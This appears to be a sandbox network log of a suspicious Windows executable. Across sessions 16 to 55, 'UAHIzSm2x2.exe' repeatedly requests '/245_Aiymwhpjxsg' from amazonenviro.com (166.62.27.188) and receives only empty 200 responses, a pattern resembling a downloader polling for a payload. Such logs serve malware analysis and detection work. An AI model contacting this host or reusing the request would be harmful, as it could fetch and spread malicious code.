2025-01-14 07:24:40 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:40 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49953	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:41 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:42 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:42 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49966	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:43 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:44 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:44 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49982	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:46 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:47 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:47 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49998	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:48 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:49 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:48 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50010	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:50 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:51 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:50 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50027	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:52 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:53 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:52 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50029	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:54 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:54 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:54 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50031	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:56 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:56 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:56 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50033	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:58 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:58 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:58 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50035	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:00 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:00 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:00 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50038	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:02 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:02 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:02 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50040	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:04 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:04 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:04 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50042	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:06 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:06 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:06 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50044	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:08 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:08 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:08 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50046	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:10 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:10 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50048	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:11 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:12 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:12 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50050	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:13 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:14 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:14 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50052	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:15 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:16 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:16 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50055	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:17 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:18 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:18 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50057	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:19 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:20 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:20 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50059	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:21 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:22 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:22 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50061	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:23 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:24 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:24 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50063	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:25 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:26 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:26 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50065	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:27 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:28 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:27 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50067	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:29 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:30 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:29 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50069	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:31 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:32 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:31 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50071	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:33 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:34 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:33 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50073	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:35 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:35 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:35 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50075	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:37 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:37 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:37 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50077	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:39 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:39 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:39 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50079	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:41 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:41 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:41 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50081	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:43 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:43 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:43 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50083	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:44 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:45 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:45 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50085	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:46 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:47 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:47 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50087	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:48 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:49 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:49 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50090	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:50 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:51 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:51 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50092	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:52 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:53 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:53 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50094	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:54 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:55 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:54 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50096	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:56 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:56 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:56 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50098	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:58 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
